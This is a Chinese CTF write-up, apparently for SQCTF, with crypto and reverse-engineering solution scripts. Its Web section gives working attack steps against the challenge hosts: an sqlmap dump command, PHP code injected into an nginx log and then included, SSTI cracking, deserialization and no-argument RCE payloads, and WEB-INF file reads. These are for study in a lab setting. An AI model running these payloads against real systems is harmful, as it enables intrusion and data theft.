Crypto base?
别阴阳我了行吗? 阴阳怪气解码,然后把中文感叹号改成英文感叹号
春风得意马蹄疾 套了四层社会主义核心价值观解密
https://ctf.bugku.com/tool/cvecode
简单RSA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import mathe = 65537 n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533 c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616 p = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863611867388261 q = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863614460682753 phi = (p - 1 ) * (q - 1 ) def egcd (a, b ): if a == 0 : return b, 0 , 1 gcd, x1, y1 = egcd(b % a, a) x = y1 - (b // a) * x1 y = x1 return gcd, x, y def modinv (a, m ): gcd, x, _ = egcd(a, m) if gcd != 1 : raise Exception('逆元不存在' ) return x % m d = modinv(e, phi) m = pow (c, d, n) m_bytes = m.to_bytes((m.bit_length() + 7 ) // 8 , 'big' ) print (m_bytes)
ezCRT 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import mathfrom Crypto.Util.number import long_to_bytesn1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681 n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063 n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093 c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165 c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023 c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614 assert math.gcd(n1, n2) == 1 assert math.gcd(n1, n3) == 1 assert math.gcd(n2, n3) == 1 delta = (c2 - c1) % n2 inv_n1_mod_n2 = pow (n1, -1 , n2) k = (delta * inv_n1_mod_n2) % n2 x12 = c1 + k * n1 M12 = n1 * n2 delta3 = (c3 - x12) % n3 inv_M12_mod_n3 = pow (M12, -1 , n3) k3 = (delta3 * inv_M12_mod_n3) % n3 x123 = x12 + k3 * M12 def find_cube_root (n ): low, high = 0 , n while low <= high: mid = (low + high) // 2 mid_cubed = mid ** 3 if mid_cubed < n: low = mid + 1 elif mid_cubed > n: high = mid - 1 else : return mid return high cube_root = find_cube_root(x123) if cube_root ** 3 == x123: m = cube_root flag_bytes = long_to_bytes(m) print ("Flag Bytes:" , flag_bytes)
失落矿洞中的密码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from Crypto.Util.number import inverse, isPrimeimport mathp = 7654319 a = 1234577 b = 3213242 def is_on_curve (P ): if P is None : return True x, y = P return (y * y - (x**3 + a * x + b)) % p == 0 def point_add (P, Q ): if P is None : return Q if Q is None : return P x1, y1 = P x2, y2 = Q if x1 == x2 and (y1 + y2) % p == 0 : return None if P == Q: l = (3 * x1 * x1 + a) * inverse(2 * y1, p) % p else : l = (y2 - y1) * inverse(x2 - x1, p) % p x3 = (l * l - x1 - x2) % p y3 = (l * (x1 - x3) - y1) % p return (x3, y3) def point_neg (P ): if P is None : return None x, y = P return (x, (-y) % p) def scalar_mult (k, P ): R = None while k > 0 : if k & 1 : R = point_add(R, P) P = point_add(P, P) k >>= 1 return R G = (5234568 , 2287747 ) PublicKey = (2366653 , 1424308 ) def bsgs (P, Q, order_estimate ): m = math.isqrt(order_estimate) + 1 baby_steps = {} R = None for j in range (m): baby_steps[R] = j R = point_add(R, P) if R else P mP = scalar_mult(m, point_neg(P)) R = Q for i in range (m): if R in baby_steps: return i * m + baby_steps[R] R = point_add(R, mP) return None order_estimate = p secret = bsgs(G, PublicKey, order_estimate) print ("[+] secretKey =" , secret)crypted_data = [(5081741 , 6744615 ), (610619 , 6218 )] C1, C2 = crypted_data shared = scalar_mult(secret, C1) M = point_add(C2, point_neg(shared)) print ("[+] M =" , M)print ("[+] x + y =" , M[0 ] + M[1 ])
密室逃脱的终极挑战 用IDA打开就能看到flag
玩的挺变态啊清茶哥 用随波逐流找编码图,对照打出来就行
丢三落四的小I 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from Crypto.Util.number import long_to_bytesimport mathn = 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029 e = 65537 dp = 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113 c = 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173 def find_p (e, dp, n ): edp = e * dp for k in range (1 , e + 1 ): if (edp - 1 ) % k == 0 : p_candidate = (edp - 1 ) // k + 1 if p_candidate != 0 and n % p_candidate == 0 : return p_candidate return None p = find_p(e, dp, n) q = n // p phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) m = pow (c, d, n) flag = long_to_bytes(m).decode() print ("Flag:" , flag)
ez_SCA 在这里找到原题:https://blog.csdn.net/xuruihan177/article/details/139519433
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import numpy as npfrom scipy.spatial.distance import euclideantraces = np.load('energy_traces_with_flag.npy' ) template_trace_0 = np.load('template_trace_0.npy' ) template_trace_1 = np.load('template_trace_1.npy' ) def recover_private_key (traces, template_trace_0, template_trace_1 ): private_key = [] for trace in traces: dist_0 = euclidean(trace, template_trace_0) dist_1 = euclidean(trace, template_trace_1) private_key.append(0 if dist_0 < dist_1 else 1 ) return private_key def bits_to_text (bits ): chars = [bits[i:i+8 ] for i in range (0 , len (bits), 8 )] text = '' .join([chr (int (char, 2 )) for char in chars]) return text private_key = recover_private_key(traces, template_trace_0, template_trace_1) recovered_bits_str = '' .join(map (str , private_key)) recovered_plaintext = bits_to_text(recovered_bits_str) print (f"Recovered plaintext: {recovered_plaintext} " )
Common Modulus 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import gmpy2from libnum import n2sn = 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889 c1 = 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253 c2 = 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346 e1 = 4217054819 e2 = 2800068527 gcd, s, t = gmpy2.gcdext(e1, e2) assert gcd == 1 , "e1 和 e2 不互质,无法进行共模攻击" if s < 0 : c1 = gmpy2.invert(c1, n) s = -s if t < 0 : c2 = gmpy2.invert(c2, n) t = -t m = (pow (c1, s, n) * pow (c2, t, n)) % n print (n2s(int (m)).decode())
你的天赋是什么
《1789年的密文》 浏览器搜找到了来着Bugku的原题:https://www.cnblogs.com/0yst3r-2046/p/11810574.html
改改对应脚本内的密钥运行即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 key="4,2,11,8,9,12,3,6,10,14,1,5,7,13" cipher_text = "UNEHJPBIUOMAVZ" f = open ("flag.txt" ) str_first_encry = [] for line in f: line = line.strip() str_first_encry.append(line) key_index = key.split("," ) str_second_encry=[] for k in key_index: str_second_encry.append(str_first_encry[int (k)-1 ]) print (str_first_encry[int (k)-1 ]) for i,ch in enumerate (cipher_text): line = str_second_encry[i] split_index = line.index(ch) temp=[] temp[0 :len (line)-split_index+1 ] = line[split_index:len (line)] temp[len (temp):] = line[0 :split_index] str_second_encry[i] = "" .join(temp) print ("-------------------------------------" )for plain in str_second_encry: print (plain)
一个一个试出来SQCTF{maketysecgreat}
Reverse ezRe(三血) 解压出来就看到是经典Python打包程序
常规python逆向即可
1 2 3 4 5 6 7 8 import base64encoded_flag = 'NWVkMmJlNDUtMmU4My00OGQyLWI2MzEtYzA4OGU1MWVlOTY0' flag = base64.b64decode(encoded_flag).decode('utf-8' ) print (flag)
慕然回首,那人却在灯火阑珊处 无壳,直接扔IDA
一个简单的迷宫游戏,从S移动到终点E,地图大小为10*10
写个代码自动寻路并找到最短路径即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from collections import dequemaze_str = ( "S**#########*########**#########**#########*###**##***###**##*###" + "##**##*#####*E##*******############" ) rows, cols = 10 , 10 def get_cell (x, y ): return maze_str[x * cols + y] start = end = None for x in range (rows): for y in range (cols): if get_cell(x, y) == 'S' : start = (x, y) elif get_cell(x, y) == 'E' : end = (x, y) if start is None or end is None : print ("未找到起点或终点" ) exit(1 ) moves = { 'w' : (-1 , 0 ), 'a' : (0 , -1 ), 's' : (1 , 0 ), 'd' : (0 , 1 ) } queue = deque([start]) visited = {start: None } while queue: cur = queue.popleft() if cur == end: break for move, (dx, dy) in moves.items(): nx, ny = cur[0 ] + dx, cur[1 ] + dy if 0 <= nx < rows and 0 <= ny < cols and get_cell(nx, ny) != '#' : if (nx, ny) not in visited: visited[(nx, ny)] = (cur, move) queue.append((nx, ny)) if end not in visited: print ("未能找到路径" ) else : path_moves = [] cur = end while cur != start: prev, move = visited[cur] path_moves.append(move) cur = prev path_moves.reverse() print ("最短路径移动指令:" , "" .join(path_moves))
鹅鹅鹅,曲项向天歌 还是熟悉的图标
写个脚本逆向出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def decrypt_flag (): ciphertext = 'itd~tzw_know_sanmenxbZ8' part2_1_enc = ciphertext[:7 ] part2_2_enc = ciphertext[7 :20 ] part2_3_enc = ciphertext[20 :] part2_1 = '' .join([chr (ord (c) - 5 ) for c in part2_1_enc]) part2_2 = part2_2_enc part2_3 = '' .join([chr (ord (c) + 7 ) for c in part2_3_enc]) part2 = part2_1 + part2_2 + part2_3 flag = f"flag{{{part2} }}" print (flag) decrypt_flag()
圣人当仁不让 无壳,直接扔IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import base64def reverse_input (): target_b64 = "/P7sAe/U0s7c1vjb0vjfyt==" decoded_bytes = base64.b64decode(target_b64) xor_key = 0xAA reversed_data = bytes ([((b - 3 ) & 0xFF ) ^ xor_key for b in decoded_bytes]) input_bytes = reversed_data + b'\x00' return input_bytes.decode('latin-1' ) def validate_solution (input_str ): processed_data = bytes ([ ((ord (c) ^ 0xAA ) + 3 ) & 0xFF for c in input_str[:-1 ] ]) + b'\x00' encoded_check = base64.b64encode(processed_data[:16 ]).decode('ascii' ) return encoded_check if __name__ == "__main__" : solution = reverse_input() print (f"{solution.encode('latin-1' )} " )
往事暗沉不可追 又是熟悉的图标
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 class SimpleVM : def __init__ (self ): self.memory = [ 0 ] * 256 self.registers = [ 0 ] * 16 def load (self, reg, addr ): self.registers[reg] = self.memory[addr] def store (self, reg, addr ): self.memory[addr] = self.registers[reg] def xor (self, reg, value ): self.registers[reg] ^= value def execute (self, bytecode ): ip = 0 if ip < len (bytecode): op = bytecode[ip] if op == 'LOAD' : reg = bytecode[ip + 1 ] addr = bytecode[ip + 2 ] self.load(reg, addr) ip += 3 elif op == 'STORE' : reg = bytecode[ip + 1 ] addr = bytecode[ip + 2 ] self.store(reg, addr) ip += 3 elif op == 'XOR' : reg = bytecode[ip + 1 ] value = bytecode[ip + 2 ] self.xor(reg, value) ip += 3 else : raise ValueError(f'''Unknown opcode: {op} ''' ) if not None < len (bytecode): return None return None def get_memory (self ): return self.memory bytecode = [ 'LOAD' , 0 , 16 , 'XOR' , 0 , 85 , 'STORE' , 0 , 32 , 'LOAD' , 1 , 32 , 'XOR' , 1 , 170 , 'STORE' , 1 , 48 ] encrypted_data = [ 127 , 131 , 125 , 123 , 135 , 127 , 133 , 123 , 125 , 131 , 127 , 135 , 131 , 123 , 135 , 125 ] vm = SimpleVM() vm.memory[16 :16 + len (encrypted_data)] = encrypted_data vm.execute(bytecode) final_memory = vm.get_memory()
逆向脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 class SimpleVM : def __init__ (self ): self.memory = [0 ] * 256 self.registers = [0 ] * 16 def load (self, reg, addr ): self.registers[reg] = self.memory[addr] def store (self, reg, addr ): self.memory[addr] = self.registers[reg] def xor (self, reg, value ): self.registers[reg] ^= value def execute (self, bytecode ): ip = 0 while ip < len (bytecode): op = bytecode[ip] if op == 'LOAD' : reg = bytecode[ip + 1 ] addr = bytecode[ip + 2 ] self.load(reg, addr) ip += 3 elif op == 'STORE' : reg = bytecode[ip + 1 ] addr = bytecode[ip + 2 ] self.store(reg, addr) ip += 3 elif op == 'XOR' : reg = bytecode[ip + 1 ] value = bytecode[ip + 2 ] self.xor(reg, value) ip += 3 else : raise ValueError(f"Unknown opcode: {op} " ) def get_memory (self ): return self.memory encrypted_data = [127 , 131 , 125 , 123 , 135 , 127 , 133 , 123 , 125 , 131 , 127 , 135 , 131 , 123 , 135 , 125 ] bytecode = [ 'LOAD' , 0 , 16 , 'XOR' , 0 , 85 , 'STORE' , 0 , 32 , 'LOAD' , 1 , 32 , 'XOR' , 1 , 170 , 'STORE' , 1 , 48 ] vm = SimpleVM() vm.memory[16 :16 + len (encrypted_data)] = encrypted_data vm.execute(bytecode) final_memory = vm.get_memory() decrypted_data = final_memory[48 :48 + len (encrypted_data)] direct_decrypt = [x ^ 255 for x in encrypted_data] flag = "SQCTF{" + "," .join(map (str , direct_decrypt)) + "}" print ("Flag:" , flag)
遇事不决,可问春风 一个APK文件,用jadx打开
逆向步骤如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ENCRYPTED_PARTS = ["5" , "#" , ")" , "7" , "5" , "#" , ")" , "7" ] XOR_KEY = 66 FLAG_PREFIX = "SQCTF{i_am_a_" FLAG_SUFFIX = "}" encrypted_str = "" .join(ENCRYPTED_PARTS) decrypted_password = "" .join([ chr (ord (c) ^ XOR_KEY) for c in encrypted_str ]) flag = f"{FLAG_PREFIX} {decrypted_password} {FLAG_SUFFIX} " print (f"Flag: {flag} " )
春风也有春风愁 无壳,直接扔IDA
一个简单的XOR
1 2 3 4 5 6 7 8 9 10 11 12 13 v6 = [ 0x0D , 0x0B , 0xFD , 0x08 , 0xFA , 0x15 , 0xF7 , 0xFB , 0x0D , 0x13 , 0x31 , 0x14 , 0x01 , 0x0E , 0x0F ] flag = [] for b in v6: decrypted = ((b - 55 ) & 0xFF ) ^ 0xA5 flag.append(decrypted) flag_str = '' .join(chr (c) for c in flag) print ("Flag:" , flag_str)
唧唧复唧唧,木兰当户织 拉进Die可以看到加了UPX的壳
脱壳后扔到IDA查看
就一个简单的base64解码
把解出来的flag里的中文逗号换成英文逗号就行SQCTF{xixibuxixi,mulandanghuzhi}
看山不是山 用Exeinfo PE
查看是一个python打包的程序
用经典的python逆向工具把源码跑出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def decrypt_target (): target = bytes .fromhex('738495a6b7c8d9e0f123456789abcdef' ) key = 439041101 key_bytes = [(key >> (i * 8 )) & 0xff for i in range (4 )] data = [] for i in range (16 ): encrypted_byte = target[i] kb = key_bytes[i % 4 ] temp = (encrypted_byte - i) % 256 original = temp ^ kb data.append(original) return bytes (data) data_decrypted = decrypt_target() print ("Decrypted Data (hex):" , data_decrypted.hex ())
flag为SQCTF{3ebfb8b9fefff8c3a426104630a294fa}
即随本心 用Exeinfo PE
查看是一个python打包的程序
用经典的python逆向工具把源码跑出来
AES_CBC加密,而且密钥和IV都给出来了,赛博厨子梭哈
击败abyssun 用Exeinfo PE
查看是一个python打包的程序
直接用pycdc.exe
无法逆向出完整代码
用pycdas.exe
查看字节码,没想到直接找到flag,连ce改血都不需要
天下谁人不识君 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 s = 'wesyvbniazxchjko1973652048@$+-&*<>' result = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i' pairs = [(result[2 *i], result[2 *i+1 ]) for i in range (len (result)//2 )] flag = [] for i, (c1, c2) in enumerate (pairs): pos1 = s.index(c1) s1 = (pos1 - i) % 34 if s1 < 0 or s1 > 15 : continue pos2 = s.index(c2) s2 = (33 - pos2 - i) % 17 computed_pos2 = (- (s2 + i + 1 )) % 34 if computed_pos2 != pos2: continue original_char = s1 * 17 + s2 flag.append(chr (original_char)) print ('' .join(flag))
你若安好便是晴 无壳,直接扔IDA
一个TEA加密,写个脚本进行解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import structdef tea_decrypt (block, key ): """ 解密一个 64 位块(由两个 32 位无符号整数组成), 使用标准的 TEA 解密算法(32 轮,采用小端序)。 参数: block -- 长度为8的字节串 key -- 长度为4的无符号整数列表 返回: 解密后的两个 32 位整数组成的列表 """ v0, v1 = struct.unpack("<II" , block) delta = 0x9e3779b9 s = (delta * 32 ) & 0xffffffff for _ in range (32 ): v1 = (v1 - (((v0 << 4 ) + key[2 ]) ^ (v0 + s) ^ ((v0 >> 5 ) + key[3 ]))) & 0xffffffff v0 = (v0 - (((v1 << 4 ) + key[0 ]) ^ (v1 + s) ^ ((v1 >> 5 ) + key[1 ]))) & 0xffffffff s = (s - delta) & 0xffffffff return v0, v1 def remove_padding (data ): """ 根据 sub_102 的处理,将 data 按照最后一个字符的数值去掉对应数量的填充。 例如,若最后一个字节的值为 n,则有效数据长度为 len(data)-n """ pad = data[-1 ] if pad > 0 and pad <= len (data): return data[:-pad] return data def xor_transform (data, key_val ): """ 对 data 中的每个字节进行 XOR 变换。 """ return bytearray (b ^ key_val for b in data) def main (): hex_string = "7f1f17fd8e51aa660b8036914a4950e8fa8078a2ef33608650fb7a845226f2d1" data = bytearray .fromhex(hex_string) key = [ 0x12345678 , 0x87654321 , 0xABCDEF98 , 2566839482 ] decrypted = bytearray () for i in range (0 , len (data), 8 ): block = data[i:i+8 ] if len (block) < 8 : break v0, v1 = tea_decrypt(block, key) decrypted.extend(struct.pack("<II" , v0, v1)) decrypted = remove_padding(decrypted) final = xor_transform(decrypted, 22 ) try : print (final.decode('utf-8' )) except UnicodeDecodeError: print ("解密后的数据非文本,十六进制表示:" , final.hex ()) if __name__ == '__main__' : main()
人生自古谁无死 无壳,直接扔IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from Crypto.Cipher import ChaCha20g_obf2 = [0xDE , 0xAD , 0xBE , 0xEF ] key = bytes ([(g_obf2[i % 4 ] ^ (i + 17 )) for i in range (32 )]) nonce = bytes ([17 * j for j in range (12 )]) with open ('1.enc' , 'rb' ) as f: ciphertext1 = f.read() with open ('2.enc' , 'rb' ) as f: ciphertext2 = f.read() cipher1 = ChaCha20.new(key=key, nonce=nonce) plaintext1 = cipher1.decrypt(ciphertext1) cipher2 = ChaCha20.new(key=key, nonce=nonce) plaintext2 = cipher2.decrypt(ciphertext2) print ("Flag 1:" , plaintext1)print ("Flag 2:" , plaintext2)
不劳春风解我忧 无壳,直接扔IDA
一个XXTEA算法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 def xxtea_decrypt (v, k ): """ XXTEA 解密算法实现 参数: v: list[int],待解密的数据(32 位无符号整数列表) k: list[int],密钥(4 个32位无符号整数) 返回: 解密后的 32 位整数列表 """ n = len (v) if n < 2 : return v delta = 0x9e3779b9 rounds = 6 + 52 // n sum_val = (rounds * delta) & 0xFFFFFFFF while sum_val != 0 : e = (sum_val >> 2 ) & 3 for p in range (n - 1 , -1 , -1 ): y = v[(p + 1 ) % n] z = v[p - 1 ] f = (((z >> 5 ) ^ (y << 2 )) + ((y >> 3 ) ^ (z << 4 ))) ^ ((sum_val ^ y) + (k[(p & 3 ) ^ e] ^ z)) v[p] = (v[p] - f) & 0xFFFFFFFF sum_val = (sum_val - delta) & 0xFFFFFFFF return v def uint32_array_to_bytes (arr, length ): """ 将32位无符号整数数组转换成 bytes 字节串(little-endian), 并截取指定长度 """ b = bytearray () for x in arr: b.extend(x.to_bytes(4 , 'little' )) return bytes (b[:length]) def main (): key = [0x12345678 , 0x9ABCDEF0 , 0xFEDCBA98 , 0x87654321 ] cipher0 = (-1888188061 ) & 0xFFFFFFFF cipher1 = (-887253336 ) & 0xFFFFFFFF cipher = [cipher0, cipher1] decrypted = xxtea_decrypt(cipher.copy(), key) plaintext_bytes = uint32_array_to_bytes(decrypted, 8 ).rstrip(b'\x00' ) try : plaintext_str = plaintext_bytes.decode('ascii' ) except UnicodeDecodeError: plaintext_str = plaintext_bytes.decode('latin-1' , errors='replace' ) print ("Decrypted flag:" , plaintext_str) if __name__ == "__main__" : main()
flag为:SQCTF{tyandctf}
Web ezGame Ctrl+U
查看源代码,看到了获得flag的请求函数
传参2048就能获得flag
Ping
File_download 随便访问一个路径查看报错信息可以看到是tomcat的站点
根据提示传对应的参数,发现可以读取当前目录下的文件,但是不能直接读flag
GET传参会显示在页面,POST则直接下载文件
参数读取tomcat
的配置文件WEB-INF/web.xml
从上面的信息来看知道源码class
文件位置在WEB-INF/classes/com/ctf/flag/FlagManager.class
POST请求:/DownloadServlet?filename=WEB-INF/classes/com/ctf/flag/FlagManager.class
1 2 3 4 5 6 7 8 9 10 11 12 key = [110 , 107 , 185 , 183 , 183 , 186 , 103 , 185 , 99 , 105 , 105 , 187 , 105 , 99 , 102 , 184 , 185 , 103 , 99 , 108 , 186 , 107 , 187 , 99 , 183 , 109 , 105 , 184 , 102 , 106 , 106 , 188 , 109 , 186 , 111 , 188 ] flag = [] for k in key: temp = k ^ 0x30 c = temp -38 flag.append(chr (c)) print ('' .join(flag))
商师一日游 第一关:直接访问<font style="color:rgb(51, 51, 51);">/atc1acrd.html</font>
然后 <font style="color:rgb(51, 51, 51);">Ctrl+U</font>
查看源码
第二关:/atc2cnzd.php
第三关:<font style="color:rgb(0, 0, 0);background-color:rgb(245, 245, 220);">/atc3oklm.php</font>
第四关:/atc4zztg.php
第五关:/atc5uupl.php
第六关:<font style="color:rgb(0, 0, 0);background-color:rgb(245, 245, 220);">/atc6ertg.php</font>
查看页面源码找到隐藏的按钮
第七关:/atc7wedf.php
合并flag提交即可
小小查询系统 sqlmap直接梭哈
1 sqlmap -u http://challenge.qsnctf.com:30726 /?id =1 -D ctf -T flag --dump
baby include 先用Yakit
访问一下/<?php system('cat flag.php') ?>
(直接访问会把特殊符号编码)
然后用file://
协议读取nginx的日志文件/var/log/nginx/access.log
唯一 先用arjun
fuzzc出参数note
出来之后就是个简单的SSTI,用fenjing打就行
1 python -m fenjing crack -u http://challenge.qsnctf.com:32027/ --inputs note --method GET
Upload_Level1 用Yakti直接传
嘿嘿嘿 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php class hhh { public $file ; public $content ; public function __construct ($file , $content ) { $this ->file = $file ; $this ->content = $content ; } } class yyy { public $path ; public $allowed ; public function __construct ($path , $allowed ) { $this ->path = $path ; $this ->allowed = $allowed ; } public function __toString ( ) { if ($this ->allowed) { return $this ->path; } else { return "Access Denied!" ; } } } $file = new yyy ("flag.php" , true );$exploit = new hhh ($file , "GET_FLAG" );echo serialize ($exploit );
逃 1 2 3 4 5 6 7 8 9 10 <?php class test { var $user = 'test' ; var $pswd = 'sunshine' ; } $obj = new test ();$obj ->pswd = 'escaping' ; echo serialize ($obj );
无参之舞 1 /?exp=echo %20 readfile(array_rand (array_flip (scandir (getcwd ()))));
参考文章:https://www.freebuf.com/articles/web/261800.html
多访问几次就能看到flag
baby rce 1 2 GET: ?param1[]=a¶m2[]=b POST: payload=TYctf ::getKey
Ez_calculate 这题只要俩秒内计算页面内的算式即可获得flag,用脚本去算就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requests from bs4 import BeautifulSoupurl = 'http://challenge.qsnctf.com:30761/' with requests.Session () as s: response = s.get (url) soup = BeautifulSoup (response.text, 'html.parser' ) expression = soup.find ('div' , class_='challenge' ).text.strip () result = eval (expression) s.post (url, data={'value' : result}) flag_response = s.get (url + "flag" ) flag_soup = BeautifulSoup (flag_response.text, 'html.parser' ) print ("最终Flag:" , flag_soup.text.strip ())
My Blog 点击Github会下载一个PDF
获得账号密码
访问/login.php
进入登录口,并用获得的账号密码登录即可获得flag
Upload_Level2 改个Content-Length
继续传
哎呀大大大黑塔 这题主要是一开始的脑洞,去B站看大黑塔的PV,用BV号当参数。。。
?SQNU=BV1tXckehEd3
一个简单的反序列
